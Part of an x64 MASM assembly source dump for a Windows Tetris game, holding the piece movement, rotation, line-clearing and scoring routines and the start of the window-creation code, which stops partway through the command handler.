    cmp edx, [rsi].GAME_STATE.boardHeight
    jge @@collision
    
    imul edx, [rsi].GAME_STATE.boardWidth
    add edx, eax
    movzx eax, BYTE PTR [rsi].GAME_STATE.board[rdx]
    test al, al
    jnz @@collision
    
    inc ecx
    cmp ecx, 4
    jl @@block_loop
    
    xor eax, eax
    jmp @@exit_proc

@@collision:
    mov eax, 1

@@exit_proc:
    pop rdi
    pop rsi
    ret
CheckCollision ENDP

; Lock current piece into the board and trigger line clear check
; Writes piece blocks to board array, then calls ClearFullLines and SpawnNewPiece
; RCX = pGame
LockPiece PROC pGame:QWORD
    push rsi
    push rdi
    push rbx
    sub rsp, 28h

    mov rsi, rcx
    lea rdi, [rsi].GAME_STATE.currentPiece
    movzx ebx, [rdi].PIECE.color
    mov edx, [rdi].PIECE.x
    mov r8d, [rdi].PIECE.y
    
    xor ecx, ecx
@@place_loop:
    cmp ecx, 4
    jge @@place_done
    
    mov eax, [rdi + PIECE.blocks + rcx*8]
    add eax, edx
    mov r9d, [rdi + PIECE.blocks + rcx*8 + 4]
    add r9d, r8d
    
    imul r9d, [rsi].GAME_STATE.boardWidth
    add r9d, eax
    lea rax, [rsi].GAME_STATE.board
    mov byte ptr [rax + r9], bl
    
    inc ecx
    jmp @@place_loop
    
@@place_done:
    mov rcx, rsi
    call ClearFullLines

    ; Always spawn new piece immediately (non-blocking animation)
    ; ApplyClearLines will handle scoring and board compression later
    mov rcx, rsi
    call SpawnNewPiece

    add rsp, 28h
    pop rbx
    pop rdi
    pop rsi
    ret
LockPiece ENDP

; Detect full lines and start clear animation (does not shift rows)
; Returns: EAX = number of full lines detected (0..4)
ClearFullLines PROC pGame:QWORD
    push rsi
    push rdi
    push rbx
    sub rsp, 28h

    mov rsi, rcx

    ; Reset animation state
    mov BYTE PTR [rsi].GAME_STATE.clearCount, 0
    mov DWORD PTR [rsi].GAME_STATE.clearMask, 0

    xor ebx, ebx                     ; EBX = line count
    mov ecx, [rsi].GAME_STATE.boardHeight
    dec ecx                          ; Start from bottom row

@@scan_loop:
    cmp ecx, 0
    jl @@scan_done

    ; Calculate row address: board + y * width
    mov edi, ecx
    imul edi, [rsi].GAME_STATE.boardWidth
    lea rax, [rsi].GAME_STATE.board
    add rdi, rax

    ; Check if row is full
    xor r8d, r8d                     ; Column index
@@check_row:
    cmp byte ptr [rdi + r8], 0
    je @@not_full                    ; Empty cell found, row not full
    inc r8d
    cmp r8d, [rsi].GAME_STATE.boardWidth
    jl @@check_row

    ; Row is full - set bit in clearMask and increment count
    mov eax, 1
    mov r9d, ecx
    shl eax, cl                      ; EAX = 1 << row_index
    or [rsi].GAME_STATE.clearMask, eax
    inc ebx                          ; Increment line count

@@not_full:
    dec ecx
    jmp @@scan_loop

@@scan_done:
    ; If lines found, start animation
    test ebx, ebx
    jz @@no_lines

    mov [rsi].GAME_STATE.clearCount, bl
    mov BYTE PTR [rsi].GAME_STATE.clearActive, 1
    mov DWORD PTR [rsi].GAME_STATE.clearTimer, 0

@@no_lines:
    mov eax, ebx                     ; Return line count
    add rsp, 28h
    pop rbx
    pop rdi
    pop rsi
    ret
ClearFullLines ENDP

; Apply line clear after animation: shift rows down, update score, spawn new piece
; Called when clearTimer >= CLEAR_ANIM_MS
ApplyClearLines PROC pGame:QWORD
    push rsi
    push rdi
    push rbx
    push r12
    push r13
    push r14
    push r15
    sub rsp, 30h

    mov rsi, rcx

    ; Compress board: copy non-cleared rows from bottom to top
    ; dstY starts at bottom, iterate srcY from bottom to top
    mov r12d, [rsi].GAME_STATE.boardHeight
    dec r12d                         ; R12D = dstY (starts at bottom)
    mov r13d, r12d                   ; R13D = srcY (starts at bottom)

@@compress_loop:
    cmp r13d, 0
    jl @@fill_top

    ; Check if srcY is in clearMask (bit srcY == 1 means skip this row)
    mov eax, 1
    mov ecx, r13d
    shl eax, cl                      ; EAX = 1 << srcY
    test eax, [rsi].GAME_STATE.clearMask
    jnz @@skip_row                   ; Row is being cleared, skip it

    ; Copy row srcY to dstY if they differ
    cmp r13d, r12d
    je @@no_copy                     ; Same row, no copy needed

    ; Calculate source and destination addresses
    mov eax, r13d
    imul eax, [rsi].GAME_STATE.boardWidth
    lea rdi, [rsi].GAME_STATE.board
    add rdi, rax                     ; RDI = &board[srcY * width]

    mov eax, r12d
    imul eax, [rsi].GAME_STATE.boardWidth
    lea rbx, [rsi].GAME_STATE.board
    add rbx, rax                     ; RBX = &board[dstY * width]

    ; Copy row
    xor r8d, r8d
@@copy_row:
    mov al, byte ptr [rdi + r8]
    mov byte ptr [rbx + r8], al
    inc r8d
    cmp r8d, [rsi].GAME_STATE.boardWidth
    jl @@copy_row

@@no_copy:
    dec r12d                         ; dstY--

@@skip_row:
    dec r13d                         ; srcY--
    jmp @@compress_loop

@@fill_top:
    ; Clear remaining rows at top (0 to dstY inclusive)
    cmp r12d, 0
    jl @@update_score

@@clear_top_loop:
    mov eax, r12d
    imul eax, [rsi].GAME_STATE.boardWidth
    lea rdi, [rsi].GAME_STATE.board
    add rdi, rax

    xor r8d, r8d
@@clear_row:
    mov byte ptr [rdi + r8], 0
    inc r8d
    cmp r8d, [rsi].GAME_STATE.boardWidth
    jl @@clear_row

    dec r12d
    cmp r12d, 0
    jge @@clear_top_loop

@@update_score:
    ; Update lines count
    movzx eax, BYTE PTR [rsi].GAME_STATE.clearCount
    add [rsi].GAME_STATE.lines, eax

    ; Calculate score: clearCount^2 * 100 * level
    movzx ecx, BYTE PTR [rsi].GAME_STATE.clearCount
    imul ecx, ecx                    ; clearCount^2
    imul ecx, 100
    imul ecx, [rsi].GAME_STATE.level
    add [rsi].GAME_STATE.score, ecx

    ; Update level: (lines / 10) + 1
    mov eax, [rsi].GAME_STATE.lines
    xor edx, edx
    mov ecx, 10
    div ecx
    inc eax
    mov [rsi].GAME_STATE.level, eax

    ; Check and save high score
    mov eax, [rsi].GAME_STATE.score
    cmp eax, [rsi].GAME_STATE.highScore
    jle @@clear_anim_state

    mov rcx, rsi
    call SaveHighScore

@@clear_anim_state:
    ; Reset animation state
    mov BYTE PTR [rsi].GAME_STATE.clearActive, 0
    mov BYTE PTR [rsi].GAME_STATE.clearCount, 0
    mov DWORD PTR [rsi].GAME_STATE.clearMask, 0
    mov DWORD PTR [rsi].GAME_STATE.clearTimer, 0

    ; Note: new piece already spawned in LockPiece (non-blocking animation)

    add rsp, 30h
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    pop rdi
    pop rsi
    ret
ApplyClearLines ENDP

; Main game loop tick - handles gravity, animation, and piece locking
; Accumulates fractional Y movement; locks piece when it hits bottom
; RCX = pGame, EDX = deltaTimeMs (typically 16ms for 60 FPS)
UpdateGame PROC pGame:QWORD, deltaTimeMs:DWORD
    push rsi
    push rbx
    sub rsp, 28h

    mov rsi, rcx
    mov ebx, edx                     ; Save deltaTimeMs in EBX (non-volatile)

    cmp BYTE PTR [rsi].GAME_STATE.gameOver, 0
    jne @@exit_update
    cmp BYTE PTR [rsi].GAME_STATE.paused, 0
    jne @@exit_update

    ; Handle line clear animation in background (non-blocking)
    cmp BYTE PTR [rsi].GAME_STATE.clearActive, 0
    je @@anim_done

    ; Animation active - increment timer
    add [rsi].GAME_STATE.clearTimer, ebx

    ; Check if animation complete
    cmp DWORD PTR [rsi].GAME_STATE.clearTimer, CLEAR_ANIM_MS
    jl @@anim_done

    ; Animation finished - apply line clear (compress board, update score)
    mov rcx, rsi
    call ApplyClearLines

@@anim_done:
    ; Continue normal gameplay (non-blocking animation)
    mov eax, [rsi].GAME_STATE.level
    dec eax
    imul eax, 50
    add eax, 300
    imul eax, ebx
    shr eax, 3
    add [rsi].GAME_STATE.yFloat, eax
    
@@check_fall:
    cmp DWORD PTR [rsi].GAME_STATE.yFloat, 10000
    jl @@exit_update
    sub DWORD PTR [rsi].GAME_STATE.yFloat, 10000
    
    mov eax, [rsi].GAME_STATE.currentPiece.y
    inc eax
    mov [rsi].GAME_STATE.currentPiece.y, eax
    
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    
    test eax, eax
    jz @@check_fall
    
    dec DWORD PTR [rsi].GAME_STATE.currentPiece.y
    mov DWORD PTR [rsi].GAME_STATE.yFloat, 0
    
    mov rcx, rsi
    call LockPiece
    
@@exit_update:
    add rsp, 28h
    pop rbx
    pop rsi
    ret
UpdateGame ENDP

; Move current piece one cell to the left if no collision
; RCX = pGame
MoveLeft PROC pGame:QWORD
    push rsi
    sub rsp, 28h

    mov rsi, rcx

    cmp BYTE PTR [rsi].GAME_STATE.gameOver, 0
    jne @@exit
    
    dec DWORD PTR [rsi].GAME_STATE.currentPiece.x
    
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    
    test eax, eax
    jz @@exit
    inc DWORD PTR [rsi].GAME_STATE.currentPiece.x
    
@@exit:
    add rsp, 28h
    pop rsi
    ret
MoveLeft ENDP

; Move current piece one cell to the right if no collision
; RCX = pGame
MoveRight PROC pGame:QWORD
    push rsi
    sub rsp, 28h

    mov rsi, rcx

    cmp BYTE PTR [rsi].GAME_STATE.gameOver, 0
    jne @@exit
    
    inc DWORD PTR [rsi].GAME_STATE.currentPiece.x
    
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    
    test eax, eax
    jz @@exit
    dec DWORD PTR [rsi].GAME_STATE.currentPiece.x
    
@@exit:
    add rsp, 28h
    pop rsi
    ret
MoveRight ENDP

; Move current piece down by dy cells; locks piece on collision
; Returns: EAX = 1 if moved successfully, 0 if blocked (piece locked)
; RCX = pGame, EDX = dy (cells to move down)
MoveDown PROC pGame:QWORD, dy:DWORD
    push rsi
    push rbx
    sub rsp, 28h

    mov rsi, rcx
    mov ebx, edx

    cmp BYTE PTR [rsi].GAME_STATE.gameOver, 0
    jne @@failed
    cmp BYTE PTR [rsi].GAME_STATE.paused, 0
    jne @@failed
    
    add [rsi].GAME_STATE.currentPiece.y, ebx
    
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    
    test eax, eax
    jz @@success
    
    sub [rsi].GAME_STATE.currentPiece.y, ebx
    
    mov rcx, rsi
    call LockPiece
    
@@failed:
    xor eax, eax
    jmp @@exit
    
@@success:
    mov eax, 1
    
@@exit:
    add rsp, 28h
    pop rbx
    pop rsi
    ret
MoveDown ENDP

; Rotate current piece 90 degrees clockwise with wall kick support
; O-piece (type 1) does not rotate; I-piece has extended kick offsets
; Restores original position if rotation fails after all kick attempts
; RCX = pGame
RotatePiece PROC pGame:QWORD
    LOCAL backupBlocks[8]:DWORD
    push rsi
    push rdi
    push rbx
    sub rsp, 40h

    mov rsi, rcx

    cmp BYTE PTR [rsi].GAME_STATE.gameOver, 0
    jne @@exit
    
    lea rdi, [rsi].GAME_STATE.currentPiece
    
    cmp BYTE PTR [rdi].PIECE.shapeType, 1
    je @@exit
    
    lea r8, [rsp+20h]
    lea r9, [rdi + PIECE.blocks]
    mov ecx, 8
@@backup_loop:
    mov eax, DWORD PTR [r9]
    mov DWORD PTR [r8], eax
    add r9, 4
    add r8, 4
    dec ecx
    jnz @@backup_loop
    
    mov ecx, 1
    mov edx, 1
    
    xor r8d, r8d
@@rotate_loop:
    cmp r8d, 4
    jge @@rotate_done
    
    mov eax, [rdi + PIECE.blocks + r8*8]
    sub eax, ecx
    mov r9d, [rdi + PIECE.blocks + r8*8 + 4]
    sub r9d, edx
    
    mov r10d, r9d
    neg r10d
    add r10d, ecx
    mov [rdi + PIECE.blocks + r8*8], r10d
    
    add eax, edx
    mov [rdi + PIECE.blocks + r8*8 + 4], eax
    
    inc r8d
    jmp @@rotate_loop
    
@@rotate_done:
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    
    test eax, eax
    jz @@exit
    
    movzx ebx, BYTE PTR [rdi].PIECE.shapeType
    cmp ebx, 0
    jne @@try_normal
    
    inc DWORD PTR [rsi].GAME_STATE.currentPiece.x
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    test eax, eax
    jz @@exit
    
    sub DWORD PTR [rsi].GAME_STATE.currentPiece.x, 2
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    test eax, eax
    jz @@exit
    
    add DWORD PTR [rsi].GAME_STATE.currentPiece.x, 3
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    test eax, eax
    jz @@exit
    
    sub DWORD PTR [rsi].GAME_STATE.currentPiece.x, 4
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    test eax, eax
    jz @@exit
    
    add DWORD PTR [rsi].GAME_STATE.currentPiece.x, 2
    jmp @@restore
    
@@try_normal:
    inc DWORD PTR [rsi].GAME_STATE.currentPiece.x
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    test eax, eax
    jz @@exit
    
    sub DWORD PTR [rsi].GAME_STATE.currentPiece.x, 2
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    test eax, eax
    jz @@exit
    
    add DWORD PTR [rsi].GAME_STATE.currentPiece.x, 3
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    test eax, eax
    jz @@exit
    
    sub DWORD PTR [rsi].GAME_STATE.currentPiece.x, 2
    
@@restore:
    lea r8, [rsp+20h]
    lea r9, [rdi + PIECE.blocks]
    mov ecx, 8
@@restore_loop:
    mov eax, DWORD PTR [r8]
    mov DWORD PTR [r9], eax
    add r8, 4
    add r9, 4
    dec ecx
    jnz @@restore_loop
    
@@exit:
    add rsp, 40h
    pop rbx
    pop rdi
    pop rsi
    ret
RotatePiece ENDP

; Hard drop: instantly move piece to lowest valid position and lock
; RCX = pGame
DropPiece PROC pGame:QWORD
    push rsi
    sub rsp, 28h

    mov rsi, rcx

    cmp BYTE PTR [rsi].GAME_STATE.gameOver, 0
    jne @@exit
    cmp BYTE PTR [rsi].GAME_STATE.paused, 0
    jne @@exit
    
@@drop_loop:
    inc DWORD PTR [rsi].GAME_STATE.currentPiece.y
    
    mov rcx, rsi
    lea rdx, [rsi].GAME_STATE.currentPiece
    call CheckCollision
    
    test eax, eax
    jz @@drop_loop
    
    dec DWORD PTR [rsi].GAME_STATE.currentPiece.y
    
    mov rcx, rsi
    call LockPiece
    
@@exit:
    add rsp, 28h
    pop rsi
    ret
DropPiece ENDP

; Set game to paused state
; RCX = pGame
PauseGame PROC pGame:QWORD
    mov rax, rcx
    mov BYTE PTR [rax].GAME_STATE.paused, 1
    ret
PauseGame ENDP

; Resume game from paused state
; RCX = pGame
ResumeGame PROC pGame:QWORD
    mov rax, rcx
    mov BYTE PTR [rax].GAME_STATE.paused, 0
    ret
ResumeGame ENDP

; Toggle between paused and running states
; RCX = pGame
TogglePause PROC pGame:QWORD
    mov rax, rcx
    xor BYTE PTR [rax].GAME_STATE.paused, 1
    ret
TogglePause ENDP

; Copy Unicode player name to game state (max 127 chars + null)
; RCX = pGame, RDX = pName (pointer to wide string)
SetPlayerName PROC pGame:QWORD, pName:QWORD
    push rsi
    push rdi

    mov rsi, rdx
    mov rdi, rcx
    lea rdi, [rdi].GAME_STATE.playerName
    
    xor ecx, ecx
@@copy_loop:
    mov ax, WORD PTR [rsi + rcx*2]
    mov WORD PTR [rdi + rcx*2], ax
    test ax, ax
    jz @@done
    inc ecx
    cmp ecx, 127
    jl @@copy_loop
    
@@done:
    mov WORD PTR [rdi + rcx*2], 0
    
    pop rdi
    pop rsi
    ret
SetPlayerName ENDP

END

<<<FILE: kvc/addons/main.asm>>>
Created:  2026-02-27 12:50:26
Modified: 2026-01-25 23:51:32
Size:     21.33 KB
INCLUDE data.inc
INCLUDE proto.inc

.CONST
; Window dimensions and constants
WINDOW_WIDTH        EQU 480         ; Main window client width in pixels
WINDOW_HEIGHT       EQU 570         ; Main window client height in pixels
CW_USEDEFAULT       EQU 80000000h   ; Let Windows choose default position

; Window style flags
WS_OVERLAPPED       EQU 00000000h   ; Base overlapped window
WS_CAPTION          EQU 00C00000h   ; Window has title bar
WS_SYSMENU          EQU 00080000h   ; Window has system menu
WS_THICKFRAME       EQU 00040000h   ; Window has sizing border
WS_MINIMIZEBOX      EQU 00020000h   ; Window has minimize button
WS_MAXIMIZEBOX      EQU 00010000h   ; Window has maximize button
WS_OVERLAPPEDWINDOW EQU 00CF0000h   ; Standard window with all decorations
WS_VISIBLE          EQU 10000000h   ; Window is initially visible

; Window class styles
CS_HREDRAW          EQU 0002h       ; Redraw on horizontal resize
CS_VREDRAW          EQU 0001h       ; Redraw on vertical resize
COLOR_BTNFACE       EQU 15          ; System button face color
IDC_ARROW           EQU 32512       ; Standard arrow cursor
SW_SHOWDEFAULT      EQU 10          ; Default show command

; Window messages
WM_CREATE           EQU 0001h       ; Window creation notification
WM_DESTROY          EQU 0002h       ; Window destruction notification
WM_PAINT            EQU 000Fh       ; Window needs repainting
WM_KEYDOWN          EQU 0100h       ; Key pressed
WM_COMMAND          EQU 0111h       ; Control notification or menu command
WM_TIMER            EQU 0113h       ; Timer event
WM_SETFONT          EQU 0030h       ; Set control font

; Virtual key codes
VK_SPACE            EQU 20h         ; Spacebar - hard drop
VK_LEFT             EQU 25h         ; Left arrow - move piece left
VK_UP               EQU 26h         ; Up arrow - rotate piece
VK_RIGHT            EQU 27h         ; Right arrow - move piece right
VK_DOWN             EQU 28h         ; Down arrow - soft drop
VK_P                EQU 50h         ; P key - pause/resume
VK_ESCAPE           EQU 1Bh         ; ESC key - exit application
VK_F2               EQU 71h         ; F2 key - new game

; Game timing
GAME_TIMER_ID       EQU 1           ; Timer identifier
GAME_TICK_MS        EQU 16          ; ~60 FPS (1000ms / 60)
EDIT_TIMER_ID       EQU 2           ; Edit name auto-save timer
EDIT_SAVE_DELAY_MS  EQU 1000        ; 1 second delay before auto-save

; Child window styles
WS_CHILD            EQU 40000000h   ; Child window
WS_BORDER           EQU 00800000h   ; Window has border
WS_CLIPCHILDREN     EQU 02000000h   ; Exclude child areas when drawing
SS_LEFT             EQU 0           ; Left-aligned static text
ES_AUTOHSCROLL      EQU 0080h       ; Auto-scroll text on overflow
BS_PUSHBUTTON       EQU 0           ; Standard push button
WS_EX_CLIENTEDGE    EQU 00000200h   ; 3D sunken edge

; Control IDs
IDC_EDIT_NAME       EQU 1001        ; Player name text input
IDC_BUTTON_CLEAR    EQU 1002        ; Clear high score button
IDC_BUTTON_START    EQU 1003        ; Pause/Resume button
IDC_BUTTON_GHOST    EQU 1004        ; Toggle ghost piece button

; Edit control notifications
EN_CHANGE           EQU 0300h       ; Text content changed
WM_CTLCOLOREDIT     EQU 0133h       ; Edit control color notification

; DWM constants
DWMWA_USE_IMMERSIVE_DARK_MODE EQU 20
DWMWA_SYSTEMBACKDROP_TYPE      EQU 38
DWMSBT_MAINWINDOW              EQU 2

.DATA
; String constants for UI
szClassName     DB "TetrisWindowClass", 0
szWindowTitle   DB "Tetris x64", 0
szSegoeUI       DB "Segoe UI", 0
szShell32       DB "shell32.dll", 0
szStaticClass   DB "STATIC", 0
szEditClass     DB "EDIT", 0
szButtonClass   DB "BUTTON", 0
szPlayerLabel   DB "Player:", 0
szPauseGame     DB "&Pause Game", 0
szResumeGame    DB "&Resume Game", 0
szClearRecord   DB "&Clear Record", 0
szGhostOn       DB "Ghost: ON", 0
szGhostOff      DB "Ghost: OFF", 0

; Global handles (64-bit pointers)
g_hInstance     DQ 0                ; Application instance handle
g_hWnd          DQ 0                ; Main window handle
g_hButtonStart  DQ 0                ; Pause/Resume button handle
g_hButtonClear  DQ 0                ; Clear Record button handle
g_hButtonGhost  DQ 0                ; Ghost toggle button handle
g_hEditName     DQ 0                ; Player name edit control handle
g_hBrushGreen   DQ 0                ; Light green brush for edit control

.DATA?
; Uninitialized data - must be 16-byte aligned for SIMD operations
ALIGN 16
g_game          GAME_STATE <>       ; Global game state
ALIGN 16
g_renderer      RENDERER_STATE <>   ; Global renderer state
ps              DB 80 DUP(?)        ; PAINTSTRUCT buffer for WM_PAINT

.CODE

ALIGN 16
; Window message handler - processes all window events
; CRITICAL x64 TRAP: Win64 calling convention requires:
; - 32 bytes shadow space (20h) for first 4 params (RCX, RDX, R8, R9)
; - Stack must be 16-byte aligned BEFORE call instruction
; - Non-volatile registers (RBX, RSI, RDI, R12-R15, RBP) must be preserved
WindowProc PROC
    push rbp
    mov rbp, rsp
    and rsp, -16                    ; TRAP: Ensure 16-byte stack alignment
    sub rsp, 400h                   ; Allocate shadow space + locals (increased for buffers)

    ; Save parameters (x64 fastcall: RCX=hWnd, RDX=uMsg, R8=wParam, R9=lParam)
    mov [rbp+10h], rcx              ; Store hWnd
    mov [rbp+18h], rdx              ; Store uMsg
    mov [rbp+20h], r8               ; Store wParam
    mov [rbp+28h], r9               ; Store lParam
    
    ; Dispatch message to appropriate handler
    cmp edx, WM_CREATE
    je HandleCreate
    cmp edx, WM_DESTROY
    je HandleDestroy
    cmp edx, WM_PAINT
    je HandlePaint
    cmp edx, WM_COMMAND
    je HandleCommand
    cmp edx, WM_TIMER
    je HandleTimer
    cmp edx, WM_KEYDOWN
    je HandleKeyDown
    cmp edx, WM_CTLCOLOREDIT
    je HandleCtlColorEdit

    ; No specific handler - pass to default Windows procedure
    mov rcx, [rbp+10h]
    mov rdx, [rbp+18h]
    mov r8,  [rbp+20h]
    mov r9,  [rbp+28h]
    call DefWindowProcA
    jmp ExitProc

HandleCreate:
    ; WM_CREATE: Initialize game and renderer, create UI controls
    lea rcx, g_game
    mov edx, 10
    mov r8d, 20
    call InitGame
    
    lea rcx, g_renderer
    mov rdx, [rbp+10h]
    call InitRenderer

    ; Get client area size and setup renderer backbuffer
    mov rcx, [rbp+10h]              ; hwnd
    lea rdx, [rsp+20h]              ; &rect
    call GetClientRect

    ; Extract width and height from RECT
    ; TRAP: RECT members are DWORDs (left, top, right, bottom)
    mov edx, DWORD PTR [rsp+28h]    ; rect.right (width)
    mov r8d, DWORD PTR [rsp+2Ch]    ; rect.bottom (height)
    lea rcx, g_renderer
    call ResizeRenderer

    ; Start initial game
    lea rcx, g_game
    call StartGame

    ; Create light green brush for edit control background
    mov ecx, 00E0FFE0h              ; Light green (BGR format)
    call CreateSolidBrush
    mov g_hBrushGreen, rax

    ; Create "Player:" static label
    ; TRAP: CreateWindowExA takes 12 params - first 4 in regs, rest on stack
    ; Stack params must be placed at [rsp+20h], [rsp+28h], etc.
    xor ecx, ecx                    ; dwExStyle = 0
    lea rdx, szStaticClass          ; lpClassName
    lea r8, szPlayerLabel           ; lpWindowName = "Player:"
    mov r9d, WS_CHILD OR WS_VISIBLE OR SS_LEFT  ; dwStyle
    mov QWORD PTR [rsp+20h], 10     ; x position
    mov QWORD PTR [rsp+28h], 533    ; y position
    mov QWORD PTR [rsp+30h], 100    ; width
    mov QWORD PTR [rsp+38h], 18     ; height
    mov rax, [rbp+10h]
    mov QWORD PTR [rsp+40h], rax    ; hWndParent
    mov QWORD PTR [rsp+48h], 0      ; hMenu
    mov rax, g_hInstance
    mov QWORD PTR [rsp+50h], rax    ; hInstance
    mov QWORD PTR [rsp+58h], 0      ; lpParam
    call CreateWindowExA

    ; Create player name text input box
    mov ecx, WS_EX_CLIENTEDGE       ; dwExStyle = sunken edge
    lea rdx, szEditClass
    xor r8, r8                      ; lpWindowName = NULL (empty initially)
    mov r9d, WS_CHILD OR WS_VISIBLE OR ES_AUTOHSCROLL OR WS_BORDER
    mov QWORD PTR [rsp+20h], 70     ; x
    mov QWORD PTR [rsp+28h], 530    ; y
    mov QWORD PTR [rsp+30h], 90     ; width
    mov QWORD PTR [rsp+38h], 24     ; height
    mov rax, [rbp+10h]
    mov QWORD PTR [rsp+40h], rax    ; hWndParent
    mov QWORD PTR [rsp+48h], IDC_EDIT_NAME  ; Control ID
    mov rax, g_hInstance
    mov QWORD PTR [rsp+50h], rax    ; hInstance
    mov QWORD PTR [rsp+58h], 0      ; lpParam
    call CreateWindowExA
    mov g_hEditName, rax

    ; Set initial text to saved player name (Unicode)
    mov rcx, g_hEditName
    lea rdx, g_game.playerName      ; Unicode string from registry
    call SetWindowTextW

    ; Force edit control to redraw with correct background color
    mov rcx, g_hEditName
    xor edx, edx
    xor r8d, r8d
    call InvalidateRect

    ; Create Pause/Resume game button
    xor ecx, ecx
    lea rdx, szButtonClass
    lea r8, szPauseGame             ; Initial text: "&Pause Game"
    mov r9d, WS_CHILD OR WS_VISIBLE OR BS_PUSHBUTTON
    mov QWORD PTR [rsp+20h], 170
    mov QWORD PTR [rsp+28h], 527
    mov QWORD PTR [rsp+30h], 105
    mov QWORD PTR [rsp+38h], 30
    mov rax, [rbp+10h]
    mov QWORD PTR [rsp+40h], rax
    mov QWORD PTR [rsp+48h], IDC_BUTTON_START
    mov rax, g_hInstance
    mov QWORD PTR [rsp+50h], rax
    mov QWORD PTR [rsp+58h], 0
    call CreateWindowExA
    mov g_hButtonStart, rax

    ; Create Clear Record button
    xor ecx, ecx
    lea rdx, szButtonClass
    lea r8, szClearRecord           ; Text: "&Clear Record"
    mov r9d, WS_CHILD OR WS_VISIBLE OR BS_PUSHBUTTON
    mov QWORD PTR [rsp+20h], 280
    mov QWORD PTR [rsp+28h], 527
    mov QWORD PTR [rsp+30h], 95
    mov QWORD PTR [rsp+38h], 30
    mov rax, [rbp+10h]
    mov QWORD PTR [rsp+40h], rax
    mov QWORD PTR [rsp+48h], IDC_BUTTON_CLEAR
    mov rax, g_hInstance
    mov QWORD PTR [rsp+50h], rax
    mov QWORD PTR [rsp+58h], 0
    call CreateWindowExA
    mov g_hButtonClear, rax

    ; Create Ghost piece toggle button
    xor ecx, ecx
    lea rdx, szButtonClass
    lea r8, szGhostOff              ; Initial text: "Ghost: OFF"
    mov r9d, WS_CHILD OR WS_VISIBLE OR BS_PUSHBUTTON
    mov QWORD PTR [rsp+20h], 380
    mov QWORD PTR [rsp+28h], 527
    mov QWORD PTR [rsp+30h], 90
    mov QWORD PTR [rsp+38h], 30
    mov rax, [rbp+10h]
    mov QWORD PTR [rsp+40h], rax
    mov QWORD PTR [rsp+48h], IDC_BUTTON_GHOST
    mov rax, g_hInstance
    mov QWORD PTR [rsp+50h], rax
    mov QWORD PTR [rsp+58h], 0
    call CreateWindowExA
    mov g_hButtonGhost, rax
	
	; Create smaller font for buttons (default size minus 2)
    mov ecx, -14
    xor edx, edx
    xor r8d, r8d
    xor r9d, r9d
    mov DWORD PTR [rsp+20h], 400
    mov DWORD PTR [rsp+28h], 0
    mov DWORD PTR [rsp+30h], 0
    mov DWORD PTR [rsp+38h], 0
    mov DWORD PTR [rsp+40h], 0
    mov DWORD PTR [rsp+48h], 0
    mov DWORD PTR [rsp+50h], 0
    mov DWORD PTR [rsp+58h], 0
    mov DWORD PTR [rsp+60h], 0
    lea rax, szSegoeUI
    mov QWORD PTR [rsp+68h], rax
    call CreateFontA
    mov rbx, rax
    
    mov rcx, g_hButtonStart
    mov edx, 30h
    mov r8, rbx
    mov r9d, 1
    call SendMessageA
    
    mov rcx, g_hButtonClear
    mov edx, 30h
    mov r8, rbx
    mov r9d, 1
    call SendMessageA
    
    mov rcx, g_hButtonGhost
    mov edx, 30h
    mov r8, rbx
    mov r9d, 1
    call SendMessageA

    ; Create game timer for 60 FPS updates
    mov rcx, [rbp+10h]              ; hWnd
    mov edx, GAME_TIMER_ID          ; nIDEvent
    mov r8d, GAME_TICK_MS           ; uElapse (16ms for ~60 FPS)
    xor r9d, r9d                    ; lpTimerFunc = NULL
    call SetTimer

    xor eax, eax                    ; Return 0 (message handled)
    jmp ExitProc

HandlePaint:
    ; WM_PAINT: Redraw game board and UI
    mov rcx, [rbp+10h]
    lea rdx, ps
    call BeginPaint
    
    mov r8, rax
    lea rcx, g_renderer
    lea rdx, g_game
    call RenderGame
    
    mov rcx, [rbp+10h]
    lea rdx, ps
    call EndPaint
    
    xor eax, eax
    jmp ExitProc

HandleCommand:
    mov rax, [rbp+20h]
    mov r10, rax
    and eax, 0FFFFh

    cmp eax, IDC_EDIT_NAME
    je CmdEditName
    cmp eax, IDC_BUTTON_START
    je CmdPauseResume
    cmp eax, IDC_BUTTON_CLEAR
    je CmdClearRecord
    cmp eax, IDC_BUTTON_GHOST
    je CmdToggleGhost
    jmp CmdDone

CmdEditName:
    shr r10, 16
    cmp r10w, EN_CHANGE
    jne CmdDone

    ; Update in-memory player name immediately
    mov rcx, g_hEditName
    lea rdx, [rsp+100h]
    mov r8d, 128
    call GetWindowTextW

    lea rcx, g_game
    lea rdx, [rsp+100h]
    call SetPlayerName

    ; Restart auto-save timer (1 second delay)
    ; Kill old timer if exists
    mov rcx, [rbp+10h]              ; hwnd
    mov edx, EDIT_TIMER_ID
    call KillTimer

    ; Set new timer for 1 second
    mov rcx, [rbp+10h]              ; hwnd
    mov edx, EDIT_TIMER_ID
    mov r8d, EDIT_SAVE_DELAY_MS
    xor r9d, r9d                    ; lpTimerProc = NULL
    call SetTimer

    ; Force edit control to redraw with new background color
    mov rcx, g_hEditName
    xor edx, edx
    xor r8d, r8d
    call InvalidateRect

    jmp CmdDone

CmdPauseResume:
    lea rcx, g_game
    call TogglePause

    mov al, [g_game].GAME_STATE.paused
    test al, al
    jz @@set_pause
    mov rcx, g_hButtonStart
    lea rdx, szResumeGame
    call SetWindowTextA
    jmp @@redraw
@@set_pause:
    mov rcx, g_hButtonStart
    lea rdx, szPauseGame
    call SetWindowTextA
@@redraw:
    mov rcx, [rbp+10h]
    call SetFocus

    mov rcx, [rbp+10h]
    xor edx, edx
    xor r8d, r8d
    call InvalidateRect
